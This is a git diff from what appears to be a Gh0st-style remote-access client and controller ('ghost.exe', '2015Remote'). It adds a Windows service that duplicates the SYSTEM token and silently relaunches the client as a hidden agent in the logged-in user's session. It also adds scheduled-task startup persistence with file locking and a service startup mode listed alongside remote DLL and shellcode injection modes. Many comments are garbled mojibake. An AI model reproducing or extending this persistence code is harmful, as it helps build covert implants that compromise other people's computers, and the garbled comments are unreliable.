running, + char* exePath, size_t exePathSize); + +// 绠鍗曞惎鍔ㄦ湇鍔 +// 杩斿洖: ERROR_SUCCESS 鎴栭敊璇爜 +int ServiceWrapper_StartSimple(void); + +// 杩愯鏈嶅姟锛堜綔涓烘湇鍔′富鍏ュ彛锛 +// 杩斿洖: ERROR_SUCCESS 鎴栭敊璇爜 +int ServiceWrapper_Run(void); + +// 瀹夎鏈嶅姟 +void ServiceWrapper_Install(void); + +// 鍗歌浇鏈嶅姟 +void ServiceWrapper_Uninstall(void); + +// 鏈嶅姟宸ヤ綔绾跨▼ +DWORD WINAPI ServiceWrapper_WorkerThread(LPVOID lpParam); + +#ifdef __cplusplus +} +#endif + +#endif /* SERVICE_WRAPPER_H */ diff --git a/client/SessionMonitor.c b/client/SessionMonitor.c new file mode 100644 index 0000000..8267c9b --- /dev/null +++ b/client/SessionMonitor.c @@ -0,0 +1,565 @@ +#include "SessionMonitor.h" +#include +#include +#include + +#pragma comment(lib, "userenv.lib") + +// 动态数组初始容量 +#define INITIAL_CAPACITY 4 + +// 前向声明 +static DWORD WINAPI MonitorThreadProc(LPVOID param); +static void MonitorLoop(SessionMonitor* self); +static BOOL LaunchAgentInSession(SessionMonitor* self, DWORD sessionId); +static BOOL IsAgentRunningInSession(SessionMonitor* self, DWORD sessionId); +static void TerminateAllAgents(SessionMonitor* self); +static void CleanupDeadProcesses(SessionMonitor* self); +static void SessionMonitor_WriteLog(const char* message); + +// 动态数组辅助函数 +static void AgentArray_Init(AgentProcessArray* arr); +static void AgentArray_Free(AgentProcessArray* arr); +static BOOL AgentArray_Add(AgentProcessArray* arr, const AgentProcessInfo* info); +static void AgentArray_RemoveAt(AgentProcessArray* arr, size_t index); + +// ============================================ +// 动态数组实现 +// ============================================ + +static void AgentArray_Init(AgentProcessArray* arr) +{ + arr->items = NULL; + arr->count = 0; + arr->capacity = 0; +} + +static void AgentArray_Free(AgentProcessArray* arr) +{ + if (arr->items) { + free(arr->items); + arr->items = NULL; + } + arr->count = 0; + arr->capacity = 0; +} + +static BOOL AgentArray_Add(AgentProcessArray* arr, const AgentProcessInfo* info) +{ + size_t newCapacity; + AgentProcessInfo* newItems; + + // 需要扩容 + if (arr->count >= arr->capacity) { + newCapacity = arr->capacity == 0 ? INITIAL_CAPACITY : arr->capacity * 2; + newItems = (AgentProcessInfo*)realloc( + arr->items, newCapacity * sizeof(AgentProcessInfo)); + if (!newItems) { + return FALSE; + } + arr->items = newItems; + arr->capacity = newCapacity; + } + + arr->items[arr->count] = *info; + arr->count++; + return TRUE; +} + +static void AgentArray_RemoveAt(AgentProcessArray* arr, size_t index) +{ + size_t i; + + if (index >= arr->count) { + return; + } + + // 将后面的元素前移 + for (i = index; i < arr->count - 1; i++) { + arr->items[i] = arr->items[i + 1]; + } + arr->count--; +} + +// ============================================ +// 日志函数 +// ============================================ + +static void SessionMonitor_WriteLog(const char* message) +{ + FILE* f; + SYSTEMTIME st; + + f = fopen("C:\\SessionMonitor.log", "a"); + if (f) { + GetLocalTime(&st); + fprintf(f, "[%04d-%02d-%02d %02d:%02d:%02d] %s\n", + st.wYear, st.wMonth, st.wDay, + st.wHour, st.wMinute, st.wSecond, message); + fclose(f); + } +} + +// ============================================ +// 公开接口实现 +// ============================================ + +void SessionMonitor_Init(SessionMonitor* self) +{ + self->monitorThread = NULL; + self->running = FALSE; + InitializeCriticalSection(&self->csProcessList); + AgentArray_Init(&self->agentProcesses); +} + +void SessionMonitor_Cleanup(SessionMonitor* self) +{ + SessionMonitor_Stop(self); + DeleteCriticalSection(&self->csProcessList); + AgentArray_Free(&self->agentProcesses); +} + +BOOL SessionMonitor_Start(SessionMonitor* self) +{ + if (self->running) { + SessionMonitor_WriteLog("Monitor already running"); + return TRUE; + } + + SessionMonitor_WriteLog("========================================"); + SessionMonitor_WriteLog("Starting session monitor..."); + + self->running = TRUE; + self->monitorThread = CreateThread(NULL, 0, MonitorThreadProc, self, 0, NULL); + + if (!self->monitorThread) { + SessionMonitor_WriteLog("ERROR: Failed to create monitor thread"); + self->running = FALSE; + return FALSE; + } + + SessionMonitor_WriteLog("Session monitor thread created"); + return TRUE; +} + +void SessionMonitor_Stop(SessionMonitor* self) +{ + if (!self->running) { + return; + } + + SessionMonitor_WriteLog("Stopping session monitor..."); + self->running = FALSE; + + if (self->monitorThread) { + WaitForSingleObject(self->monitorThread, 10000); + CloseHandle(self->monitorThread); + self->monitorThread = NULL; + } + + // 终止所有代理进程 + SessionMonitor_WriteLog("Terminating all agent processes..."); + TerminateAllAgents(self); + + SessionMonitor_WriteLog("Session monitor stopped"); + SessionMonitor_WriteLog("========================================"); +} + +// ============================================ +// 内部函数实现 +// ============================================ + +static DWORD WINAPI MonitorThreadProc(LPVOID param) +{ + SessionMonitor* monitor = (SessionMonitor*)param; + MonitorLoop(monitor); + return 0; +} + +static void MonitorLoop(SessionMonitor* self) +{ + int loopCount = 0; + PWTS_SESSION_INFO pSessionInfo = NULL; + DWORD dwCount = 0; + DWORD i; + BOOL foundActiveSession; + DWORD sessionId; + char buf[256]; + int j; + + SessionMonitor_WriteLog("Monitor loop started"); + + while (self->running) { + loopCount++; + + // 清理已终止的进程 + CleanupDeadProcesses(self); + + // 枚举所有会话 + pSessionInfo = NULL; + dwCount = 0; + + if (WTSEnumerateSessions(WTS_CURRENT_SERVER_HANDLE, 0, 1, + &pSessionInfo, &dwCount)) { + + foundActiveSession = FALSE; + + for (i = 0; i < dwCount; i++) { + if (pSessionInfo[i].State == WTSActive) { + sessionId = pSessionInfo[i].SessionId; + foundActiveSession = TRUE; + + // 记录活动会话(每5次循环记录一次,避免日志过多) + if (loopCount % 5 == 1) { + sprintf(buf, "Active session found: ID=%d, Name=%s", + (int)sessionId, + pSessionInfo[i].pWinStationName); + SessionMonitor_WriteLog(buf); + } + + // 检查代理是否在该会话中运行 + if (!IsAgentRunningInSession(self, sessionId)) { + sprintf(buf, "Agent not running in session %d, launching...", (int)sessionId); + SessionMonitor_WriteLog(buf); + + if (LaunchAgentInSession(self, sessionId)) { + SessionMonitor_WriteLog("Agent launched successfully"); + // 给进程一些时间启动 + Sleep(2000); + } + else { + SessionMonitor_WriteLog("Failed to launch agent"); + } + } + + // 只处理第一个活动会话 + break; + } + } + + if (!foundActiveSession && loopCount % 5 == 1) { + SessionMonitor_WriteLog("No active sessions found"); + } + + WTSFreeMemory(pSessionInfo); + } + else { + if (loopCount % 5 == 1) { + SessionMonitor_WriteLog("WTSEnumerateSessions failed"); + } + } + + // 每10秒检查一次 + for (j = 0; j < 100 && self->running; j++) { + Sleep(100); + } + } + + SessionMonitor_WriteLog("Monitor loop exited"); +} + +static BOOL IsAgentRunningInSession(SessionMonitor* self, DWORD sessionId) +{ + char currentExeName[MAX_PATH]; + char* pFileName; + DWORD currentPID; + HANDLE hSnapshot; + PROCESSENTRY32 pe32; + BOOL found = FALSE; + DWORD procSessionId; + + (void)self; // 未使用 + + // 获取当前进程的 exe 名称 + if (!GetModuleFileName(NULL, currentExeName, MAX_PATH)) { + return FALSE; + } + + // 获取文件名(不含路径) + pFileName = strrchr(currentExeName, '\\'); + if (pFileName) { + pFileName++; + } + else { + pFileName = currentExeName; + } + + // 获取当前服务进程的 PID + currentPID = GetCurrentProcessId(); + + // 创建进程快照 + hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); + if (hSnapshot == INVALID_HANDLE_VALUE) { + SessionMonitor_WriteLog("CreateToolhelp32Snapshot failed"); + return FALSE; + } + + pe32.dwSize = sizeof(PROCESSENTRY32); + + if (Process32First(hSnapshot, &pe32)) { + do { + // 查找同名的 exe(ghost.exe) + if (_stricmp(pe32.szExeFile, pFileName) == 0) { + // 排除服务进程自己 + if (pe32.th32ProcessID == currentPID) { + continue; + } + + // 获取进程的会话ID + if (ProcessIdToSessionId(pe32.th32ProcessID, &procSessionId)) { + if (procSessionId == sessionId) { + // 找到了:同名 exe,不同 PID,在目标会话中 + found = TRUE; + break; + } + } + } + } while (Process32Next(hSnapshot, &pe32)); + } + + CloseHandle(hSnapshot); + return found; +} + +// 终止所有代理进程 +static void TerminateAllAgents(SessionMonitor* self) +{ + char buf[256]; + size_t i; + AgentProcessInfo* info; + DWORD exitCode; + + EnterCriticalSection(&self->csProcessList); + + sprintf(buf, "Terminating %d agent process(es)", (int)self->agentProcesses.count); + SessionMonitor_WriteLog(buf); + + for (i = 0; i < self->agentProcesses.count; i++) { + info = &self->agentProcesses.items[i]; + + sprintf(buf, "Terminating agent PID=%d (Session %d)", + (int)info->processId, (int)info->sessionId); + SessionMonitor_WriteLog(buf); + + // 检查进程是否还在运行 + if (GetExitCodeProcess(info->hProcess, &exitCode)) { + if (exitCode == STILL_ACTIVE) { + // 进程还在运行,终止 + if (!TerminateProcess(info->hProcess, 0)) { + sprintf(buf, "WARNING: Failed to terminate PID=%d, error=%d", + (int)info->processId, (int)GetLastError()); + SessionMonitor_WriteLog(buf); + } + else { + SessionMonitor_WriteLog("Agent terminated successfully"); + // 等待进程完全退出 + WaitForSingleObject(info->hProcess, 5000); + } + } + else { + sprintf(buf, "Agent PID=%d already exited with code %d", + (int)info->processId, (int)exitCode); + SessionMonitor_WriteLog(buf); + } + } + + CloseHandle(info->hProcess); + } + + self->agentProcesses.count = 0; // 清空数组 + + LeaveCriticalSection(&self->csProcessList); + SessionMonitor_WriteLog("All agents terminated"); +} + +// 清理已经终止的进程 +static void CleanupDeadProcesses(SessionMonitor* self) +{ + size_t i; + AgentProcessInfo* info; + DWORD exitCode; + char buf[256]; + + EnterCriticalSection(&self->csProcessList); + + i = 0; + while (i < self->agentProcesses.count) { + info = &self->agentProcesses.items[i]; + + if (GetExitCodeProcess(info->hProcess, &exitCode)) { + if (exitCode != STILL_ACTIVE) { + // 进程已退出 + sprintf(buf, "Agent PID=%d exited with code %d, cleaning up", + (int)info->processId, (int)exitCode); + SessionMonitor_WriteLog(buf); + + CloseHandle(info->hProcess); + AgentArray_RemoveAt(&self->agentProcesses, i); + continue; // 不增加 i,因为删除了元素 + } + } + else { + // 无法获取退出代码,可能进程已不存在 + sprintf(buf, "Cannot query agent PID=%d, removing from list", + (int)info->processId); + SessionMonitor_WriteLog(buf); + + CloseHandle(info->hProcess); + AgentArray_RemoveAt(&self->agentProcesses, i); + continue; + } + + i++; + } + + LeaveCriticalSection(&self->csProcessList); +} + +static BOOL LaunchAgentInSession(SessionMonitor* self, DWORD sessionId) +{ + char buf[512]; + HANDLE hToken = NULL; + HANDLE hDupToken = NULL; + HANDLE hUserToken = NULL; + STARTUPINFO si; + PROCESS_INFORMATION pi; + LPVOID lpEnvironment = NULL; + char exePath[MAX_PATH]; + char cmdLine[MAX_PATH + 20]; + DWORD fileAttr; + BOOL result; + AgentProcessInfo info; + DWORD err; + + memset(&si, 0, sizeof(si)); + memset(&pi, 0, sizeof(pi)); + + sprintf(buf, "Attempting to launch agent in session %d", (int)sessionId); + SessionMonitor_WriteLog(buf); + + si.cb = sizeof(STARTUPINFO); + si.lpDesktop = (LPSTR)"winsta0\\default"; // 关键:指定桌面 + + // 获取当前服务进程的 SYSTEM 令牌 + if (!OpenProcessToken(GetCurrentProcess(), TOKEN_DUPLICATE | TOKEN_QUERY, &hToken)) { + sprintf(buf, "OpenProcessToken failed: %d", (int)GetLastError()); + SessionMonitor_WriteLog(buf); + return FALSE; + } + + // 复制为可用于创建进程的主令牌 + if (!DuplicateTokenEx(hToken, MAXIMUM_ALLOWED, NULL, + SecurityImpersonation, TokenPrimary, &hDupToken)) { + sprintf(buf, "DuplicateTokenEx failed: %d", (int)GetLastError()); + SessionMonitor_WriteLog(buf); + CloseHandle(hToken); + return FALSE; + } + + // 修改令牌的会话 ID 为目标用户会话 + if (!SetTokenInformation(hDupToken, TokenSessionId, &sessionId, sizeof(sessionId))) { + sprintf(buf, "SetTokenInformation failed: %d", (int)GetLastError()); + SessionMonitor_WriteLog(buf); + CloseHandle(hDupToken); + CloseHandle(hToken); + return FALSE; + } + + SessionMonitor_WriteLog("Token duplicated"); + + // 获取当前进程路径(启动自己) + if (!GetModuleFileName(NULL, exePath, MAX_PATH)) { + SessionMonitor_WriteLog("GetModuleFileName failed"); + CloseHandle(hDupToken); + CloseHandle(hToken); + return FALSE; + } + + sprintf(buf, "Service path: %s", exePath); + SessionMonitor_WriteLog(buf); + + // 检查文件是否存在 + fileAttr = GetFileAttributes(exePath); + if (fileAttr == INVALID_FILE_ATTRIBUTES) { + sprintf(buf, "ERROR: Executable not found at: %s", exePath); + SessionMonitor_WriteLog(buf); + CloseHandle(hDupToken); + CloseHandle(hToken); + return FALSE; + } + + // 构建命令行:同一个 exe, 但带上 -agent 参数 + sprintf(cmdLine, "\"%s\" -agent", exePath); + + sprintf(buf, "Command line: %s", cmdLine); + SessionMonitor_WriteLog(buf); + + // 获取用户令牌用于环境变量 + if (!WTSQueryUserToken(sessionId, &hUserToken)) { + sprintf(buf, "WTSQueryUserToken failed: %d", (int)GetLastError()); + SessionMonitor_WriteLog(buf); + } + + // 使用用户令牌创建环境块 + if (hUserToken) { + if (!CreateEnvironmentBlock(&lpEnvironment, hUserToken, FALSE)) { + SessionMonitor_WriteLog("CreateEnvironmentBlock failed"); + } + CloseHandle(hUserToken); + } + + // 在用户会话中创建进程 + result = CreateProcessAsUser( + hDupToken, + NULL, // 应用程序名(在命令行中解析) + cmdLine, // 命令行参数:ghost.exe -agent + NULL, // 进程安全属性 + NULL, // 线程安全属性 + FALSE, // 不继承句柄 + NORMAL_PRIORITY_CLASS | CREATE_NO_WINDOW | CREATE_UNICODE_ENVIRONMENT, // 创建标志 + lpEnvironment, // 环境变量 + NULL, // 当前目录 + &si, + &pi + ); + + if (lpEnvironment) { + DestroyEnvironmentBlock(lpEnvironment); + } + + if (result) { + sprintf(buf, "SUCCESS: Agent process created (PID=%d)", (int)pi.dwProcessId); + SessionMonitor_WriteLog(buf); + + // 保存进程信息,以便停止时可以终止它 + EnterCriticalSection(&self->csProcessList); + info.processId = pi.dwProcessId; + info.sessionId = sessionId; + info.hProcess = pi.hProcess; // 不关闭句柄,保留用于后续终止 + AgentArray_Add(&self->agentProcesses, &info); + LeaveCriticalSection(&self->csProcessList); + + CloseHandle(pi.hThread); // 线程句柄可以关闭 + } + else { + err = GetLastError(); + sprintf(buf, "CreateProcessAsUser failed: %d", (int)err); + SessionMonitor_WriteLog(buf); + + // 提供更详细的错误信息 + if (err == ERROR_FILE_NOT_FOUND) { + SessionMonitor_WriteLog("ERROR: ghost_agent.exe not found"); + } + else if (err == ERROR_ACCESS_DENIED) { + SessionMonitor_WriteLog("ERROR: Access denied - service may not have sufficient privileges"); + } + else if (err == 1314) { + SessionMonitor_WriteLog("ERROR: Service does not have SE_INCREASE_QUOTA privilege"); + } + } + + CloseHandle(hDupToken); + CloseHandle(hToken); + + return result; +} diff --git a/client/SessionMonitor.h b/client/SessionMonitor.h new file mode 100644 index 0000000..bbb0b78 --- /dev/null +++ b/client/SessionMonitor.h @@ -0,0 +1,51 @@ +#ifndef SESSION_MONITOR_H +#define SESSION_MONITOR_H + +#include +#include + +#ifdef __cplusplus +extern "C" { +#endif + +#pragma comment(lib, "wtsapi32.lib") + +// 浠g悊杩涚▼淇℃伅 +typedef struct AgentProcessInfo { + DWORD processId; + DWORD sessionId; + HANDLE hProcess; +} AgentProcessInfo; + +// 浠g悊杩涚▼鏁扮粍锛堝姩鎬佹暟缁勶級 +typedef struct AgentProcessArray { + AgentProcessInfo* items; + size_t count; + size_t capacity; +} AgentProcessArray; + +// 浼氳瘽鐩戞帶鍣ㄧ粨鏋 +typedef struct SessionMonitor { + HANDLE monitorThread; + BOOL running; + CRITICAL_SECTION csProcessList; + AgentProcessArray agentProcesses; +} SessionMonitor; + +// 鍒濆鍖栦細璇濈洃鎺у櫒 +void SessionMonitor_Init(SessionMonitor* self); + +// 娓呯悊浼氳瘽鐩戞帶鍣ㄨ祫婧 +void SessionMonitor_Cleanup(SessionMonitor* self); + +// 鍚姩浼氳瘽鐩戞帶 +BOOL SessionMonitor_Start(SessionMonitor* self); + +// 鍋滄浼氳瘽鐩戞帶 +void SessionMonitor_Stop(SessionMonitor* self); + +#ifdef __cplusplus +} +#endif + +#endif /* SESSION_MONITOR_H */ diff --git a/client/ghost_vs2015.vcxproj b/client/ghost_vs2015.vcxproj index cd6a697..764ac56 100644 --- a/client/ghost_vs2015.vcxproj +++ b/client/ghost_vs2015.vcxproj @@ -95,7 +95,7 @@ Disabled $(SolutionDir);./;$(WindowsSdkDir_81)Include\um;$(WindowsSdkDir_81)Include\shared;%(AdditionalIncludeDirectories) MultiThreadedDebug - _CONSOLE;ZLIB_WINAPI;%(PreprocessorDefinitions) + _CONSOLE;ZLIB_WINAPI;_CRT_SECURE_NO_WARNINGS;%(PreprocessorDefinitions) true false @@ -114,7 +114,7 @@ Disabled $(SolutionDir);./;$(WindowsSdkDir_81)Include\um;$(WindowsSdkDir_81)Include\shared;%(AdditionalIncludeDirectories) MultiThreadedDebug - _CONSOLE;ZLIB_WINAPI;%(PreprocessorDefinitions) + _CONSOLE;ZLIB_WINAPI;_CRT_SECURE_NO_WARNINGS;%(PreprocessorDefinitions) true false @@ -199,6 +199,8 @@ + + @@ -218,6 +220,7 @@ + @@ -241,6 +244,8 @@ + + diff --git a/client/reg_startup.c b/client/reg_startup.c index 35f33d7..7538769 100644 --- a/client/reg_startup.c +++ b/client/reg_startup.c @@ -287,7 +287,7 @@ BOOL CreateDirectoryRecursively(const char* path) return TRUE; } -int RegisterStartup(const char* startupName, const char* exeName) +int RegisterStartup(const char* startupName, const char* exeName, bool lockFile) { #ifdef _DEBUG return 1; @@ -337,7 +337,8 @@ int RegisterStartup(const char* startupName, const char* exeName) } int status = CreateScheduledTask(startupName, dstFile, TRUE, NULL, FALSE); Mprintf("任务计划创建: %s!\n", status == 0 ? "成功" : "失败"); - CreateFileA(curFile, GENERIC_READ, 0, NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL); + if (lockFile) + CreateFileA(curFile, GENERIC_READ, 0, NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL); return 1; } diff --git a/client/reg_startup.h b/client/reg_startup.h index 193d92c..02c9072 100644 --- a/client/reg_startup.h +++ b/client/reg_startup.h @@ -1,4 +1,5 @@ #pragma once +#include // return > 0 means to continue running else terminate. -int RegisterStartup(const char* startupName, const char* exeName); +int RegisterStartup(const char* startupName, const char* exeName, bool lockFile); diff --git a/client/test.cpp b/client/test.cpp index 8989422..2e78cee 100644 --- a/client/test.cpp +++ b/client/test.cpp @@ -212,7 +212,7 @@ public: int main(int argc, const char *argv[]) { // 注册启动项 - int r = RegisterStartup("Client Demo", "ClientDemo"); + int r = RegisterStartup("Client Demo", "ClientDemo", true); if (r <= 0) { BOOL s = self_del(); if (!IsDebug)return r; diff --git a/common/commands.h b/common/commands.h index abbab29..2d488e5 100644 --- a/common/commands.h +++ b/common/commands.h @@ -541,6 +541,7 @@ enum TestRunType { Startup_InjDLL, // 远程注入 DLL(注入DLL路径,仍依赖磁盘DLL) Startup_Shellcode, // 本地 Shell code (在当前程序执行shell code ) Startup_InjSC, // 远程 Shell code (注入其他程序执行shell code ) + Startup_GhostMsc, // Windows 服务 }; inline int MemoryFind(const char* szBuffer, const char* Key, int iBufferSize, int iKeySize) diff --git a/server/2015Remote/2015Remote.cpp b/server/2015Remote/2015Remote.cpp index 88c561f..ad9ca89 100644 --- a/server/2015Remote/2015Remote.cpp +++ b/server/2015Remote/2015Remote.cpp @@ -1,5 +1,5 @@ -// 2015Remote.cpp : 定义应用程序的类行为。 +// 2015Remote.cpp : 瀹氫箟搴旂敤绋嬪簭鐨勭被琛屼负銆 // #include "stdafx.h" @@ -10,11 +10,12 @@ #define new DEBUG_NEW #endif -// dump相关 +// dump鐩稿叧 #include #include #include #include "IOCPUDPServer.h" +#include "ServerServiceWrapper.h" #pragma comment(lib, "Dbghelp.lib") CMy2015RemoteApp* GetThisApp() @@ -35,24 +36,38 @@ std::string GetMasterHash() } /** -* @brief 程序遇到未知BUG导致终止时调用此函数,不弹框 -* 并且转储dump文件到dump目录. +* @brief 绋嬪簭閬囧埌鏈煡BUG瀵艰嚧缁堟鏃惰皟鐢ㄦ鍑芥暟锛屼笉寮规 +* 骞朵笖杞偍dump鏂囦欢鍒癲ump鐩綍. */ long WINAPI whenbuged(_EXCEPTION_POINTERS *excp) { - // 获取dump文件夹,若不存在,则创建之 - char dump[_MAX_PATH], *p = dump; - GetModuleFileNameA(NULL, dump, _MAX_PATH); - while (*p) ++p; - while ('\\' != *p) --p; - strcpy(p + 1, "dump"); - if (_access(dump, 0) == -1) - _mkdir(dump); - char curTime[64];// 当前dump文件 - time_t TIME(time(0)); - strftime(curTime, 64, "\\YAMA_%Y-%m-%d %H%M%S.dmp", localtime(&TIME)); - strcat(dump, curTime); - HANDLE hFile = ::CreateFileA(dump, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, + // 鑾峰彇dump鏂囦欢澶癸紝鑻ヤ笉瀛樺湪锛屽垯鍒涘缓涔 + char dumpDir[_MAX_PATH]; + char dumpFile[_MAX_PATH + 64]; + + if (!GetModuleFileNameA(NULL, dumpDir, _MAX_PATH)) { + return EXCEPTION_EXECUTE_HANDLER; + } + + char* p = strrchr(dumpDir, '\\'); + if (p) { + strcpy_s(p + 1, _MAX_PATH - (p - dumpDir + 1), "dump"); + } else { + strcpy_s(dumpDir, _MAX_PATH, "dump"); + } + + if (_access(dumpDir, 0) == -1) + _mkdir(dumpDir); + + // 鏋勫缓瀹屾暣鐨刣ump鏂囦欢璺緞 + char curTime[64]; + time_t TIME = time(0); + struct tm localTime; + localtime_s(&localTime, &TIME); + strftime(curTime, sizeof(curTime), "\\YAMA_%Y-%m-%d %H%M%S.dmp", &localTime); + sprintf_s(dumpFile, sizeof(dumpFile), "%s%s", dumpDir, curTime); + + HANDLE hFile = ::CreateFileA(dumpFile, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL); if(INVALID_HANDLE_VALUE != hFile) { MINIDUMP_EXCEPTION_INFORMATION einfo = {::GetCurrentThreadId(), excp, FALSE}; @@ -72,15 +87,15 @@ END_MESSAGE_MAP() std::string GetPwdHash(); -// CMy2015RemoteApp 构造 +// CMy2015RemoteApp 鏋勯 CMy2015RemoteApp::CMy2015RemoteApp() { - // 支持重新启动管理器 + // 鏀寔閲嶆柊鍚姩绠$悊鍣 m_dwRestartManagerSupportFlags = AFX_RESTART_MANAGER_SUPPORT_RESTART; - // TODO: 在此处添加构造代码, - // 将所有重要的初始化放置在 InitInstance 中 + // TODO: 鍦ㄦ澶勬坊鍔犳瀯閫犱唬鐮侊紝 + // 灏嗘墍鏈夐噸瑕佺殑鍒濆鍖栨斁缃湪 InitInstance 涓 m_Mutex = NULL; #ifdef _DEBUG std::string masterHash(GetMasterHash()); @@ -93,15 +108,126 @@ CMy2015RemoteApp::CMy2015RemoteApp() } -// 唯一的一个 CMy2015RemoteApp 对象 +// 鍞竴鐨勪竴涓 CMy2015RemoteApp 瀵硅薄 CMy2015RemoteApp theApp; -// CMy2015RemoteApp 初始化 +// 浠庢湇鍔¤矾寰勪腑鎻愬彇鍙墽琛屾枃浠惰矾寰勶紙鍘婚櫎寮曞彿鍜屽弬鏁帮級 +static void ExtractExePathFromServicePath(const char* servicePath, char* exePath, size_t exePathSize) +{ + if (!servicePath || !exePath || exePathSize == 0) { + if (exePath && exePathSize > 0) exePath[0] = '\0'; + return; + } + + const char* src = servicePath; + char* dst = exePath; + size_t remaining = exePathSize - 1; + + // 璺宠繃鍓嶅绌烘牸 + while (*src == ' ') src++; + + if (*src == '"') { + // 甯﹀紩鍙风殑璺緞锛氭彁鍙栧紩鍙峰唴鐨勫唴瀹 + src++; // 璺宠繃寮濮嬪紩鍙 + while (*src && *src != '"' && remaining > 0) { + *dst++ = *src++; + remaining--; + } + } else { + // 涓嶅甫寮曞彿鐨勮矾寰勶細鎻愬彇鍒扮┖鏍兼垨缁撴潫 + while (*src && *src != ' ' && remaining > 0) { + *dst++ = *src++; + remaining--; + } + } + *dst = '\0'; +} + +// 澶勭悊鏈嶅姟鐩稿叧鐨勫懡浠よ鍙傛暟 +// 杩斿洖鍊: TRUE 琛ㄧず宸插鐞嗘湇鍔″懡浠わ紙绋嬪簭搴旈鍑猴級锛孎ALSE 琛ㄧず缁х画姝e父鍚姩 +static BOOL HandleServiceCommandLine() +{ + CString cmdLine = ::GetCommandLine(); + cmdLine.MakeLower(); + + // -service: 浣滀负鏈嶅姟杩愯 + if (cmdLine.Find(_T("-service")) != -1) { + ServerService_Run(); + return TRUE; + } + + // -install: 瀹夎鏈嶅姟 + if (cmdLine.Find(_T("-install")) != -1) { + ServerService_Install(); + return TRUE; + } + + // -uninstall: 鍗歌浇鏈嶅姟 + if (cmdLine.Find(_T("-uninstall")) != -1) { + ServerService_Uninstall(); + return TRUE; + } + + // -agent: 鐢辨湇鍔″惎鍔ㄧ殑GUI浠g悊妯″紡 + // 姝ゆā寮忎笅姝e父杩愯GUI锛屼絾浣跨敤涓嶅悓鐨勪簰鏂ラ噺鍚嶇О閬垮厤鍐茬獊 + if (cmdLine.Find(_T("-agent")) != -1) { + // 缁х画姝e父鍚姩GUI锛屼絾鏍囪涓轰唬鐞嗘ā寮 + return FALSE; + } + + // 鏃犲弬鏁版椂锛屼綔涓烘湇鍔″惎鍔 + BOOL registered = FALSE; + BOOL running = FALSE; + char servicePath[MAX_PATH] = { 0 }; + ServerService_CheckStatus(®istered, &running, servicePath, MAX_PATH); + char curPath[MAX_PATH]; + GetModuleFileNameA(NULL, curPath, MAX_PATH); + + // 浠庢湇鍔¤矾寰勪腑鎻愬彇绾彲鎵ц鏂囦欢璺緞锛堝幓闄ゅ紩鍙峰拰鍙傛暟锛 + char serviceExePath[MAX_PATH] = { 0 }; + ExtractExePathFromServicePath(servicePath, serviceExePath, MAX_PATH); + + if (registered && _stricmp(curPath, serviceExePath) != 0) { + Mprintf("ServerService Uninstall: %s\n", servicePath); + ServerService_Uninstall(); + registered = FALSE; + } + if (!registered) { + Mprintf("ServerService Install: %s\n", curPath); + return ServerService_Install(); + } + else if (!running) { + int r = ServerService_Run(); + Mprintf("ServerService Run '%s' %s\n", curPath, r == ERROR_SUCCESS ? "succeed" : "failed"); + if (r) { + r = ServerService_StartSimple(); + Mprintf("ServerService Start '%s' %s\n", curPath, r == ERROR_SUCCESS ? "succeed" : "failed"); + return r == ERROR_SUCCESS; + } + return FALSE; + } + return TRUE; +} + +// 妫鏌ユ槸鍚︿互浠g悊妯″紡杩愯 +static BOOL IsAgentMode() +{ + CString cmdLine = ::GetCommandLine(); + cmdLine.MakeLower(); + return cmdLine.Find(_T("-agent")) != -1; +} + +// CMy2015RemoteApp 鍒濆鍖 BOOL CMy2015RemoteApp::InitInstance() { + // 棣栧厛澶勭悊鏈嶅姟鍛戒护琛屽弬鏁 + if (HandleServiceCommandLine()) { + return FALSE; // 鏈嶅姟鍛戒护宸插鐞嗭紝閫鍑 + } + std::string masterHash(GetMasterHash()); std::string mu = GetPwdHash()==masterHash ? "MASTER.EXE" : "YAMA.EXE"; #ifndef _DEBUG @@ -110,7 +236,8 @@ BOOL CMy2015RemoteApp::InitInstance() if (ERROR_ALREADY_EXISTS == GetLastError()) { CloseHandle(m_Mutex); m_Mutex = NULL; - MessageBoxA(NULL, "一个主控程序已经在运行,请检查任务管理器。", "提示", MB_ICONINFORMATION); + MessageBoxA(NULL, "A master program is already running, please check Task Manager.", + "Info", MB_ICONINFORMATION); return FALSE; } } @@ -124,13 +251,13 @@ BOOL CMy2015RemoteApp::InitInstance() hImageList = (HIMAGELIST)SHGetFileInfo((LPCTSTR)_T(""), 0, &sfi, sizeof(SHFILEINFO), SHGFI_SMALLICON | SHGFI_SYSICONINDEX); m_pImageList_Small.Attach(hImageList); - // 如果一个运行在 Windows XP 上的应用程序清单指定要 - // 使用 ComCtl32.dll 版本 6 或更高版本来启用可视化方式, - //则需要 InitCommonControlsEx()。否则,将无法创建窗口。 + // 濡傛灉涓涓繍琛屽湪 Windows XP 涓婄殑搴旂敤绋嬪簭娓呭崟鎸囧畾瑕 + // 浣跨敤 ComCtl32.dll 鐗堟湰 6 鎴栨洿楂樼増鏈潵鍚敤鍙鍖栨柟寮忥紝 + //鍒欓渶瑕 InitCommonControlsEx()銆傚惁鍒欙紝灏嗘棤娉曞垱寤虹獥鍙c INITCOMMONCONTROLSEX InitCtrls; InitCtrls.dwSize = sizeof(InitCtrls); - // 将它设置为包括所有要在应用程序中使用的 - // 公共控件类。 + // 灏嗗畠璁剧疆涓哄寘鎷墍鏈夎鍦ㄥ簲鐢ㄧ▼搴忎腑浣跨敤鐨 + // 鍏叡鎺т欢绫汇 InitCtrls.dwICC = ICC_WIN95_CLASSES; InitCommonControlsEx(&InitCtrls); @@ -138,37 +265,37 @@ BOOL CMy2015RemoteApp::InitInstance() AfxEnableControlContainer(); - // 创建 shell 管理器,以防对话框包含 - // 任何 shell 树视图控件或 shell 列表视图控件。 + // 鍒涘缓 shell 绠$悊鍣紝浠ラ槻瀵硅瘽妗嗗寘鍚 + // 浠讳綍 shell 鏍戣鍥炬帶浠舵垨 shell 鍒楄〃瑙嗗浘鎺т欢銆 CShellManager *pShellManager = new CShellManager; - // 标准初始化 - // 如果未使用这些功能并希望减小 - // 最终可执行文件的大小,则应移除下列 - // 不需要的特定初始化例程 - // 更改用于存储设置的注册表项 - // TODO: 应适当修改该字符串, - // 例如修改为公司或组织名 + // 鏍囧噯鍒濆鍖 + // 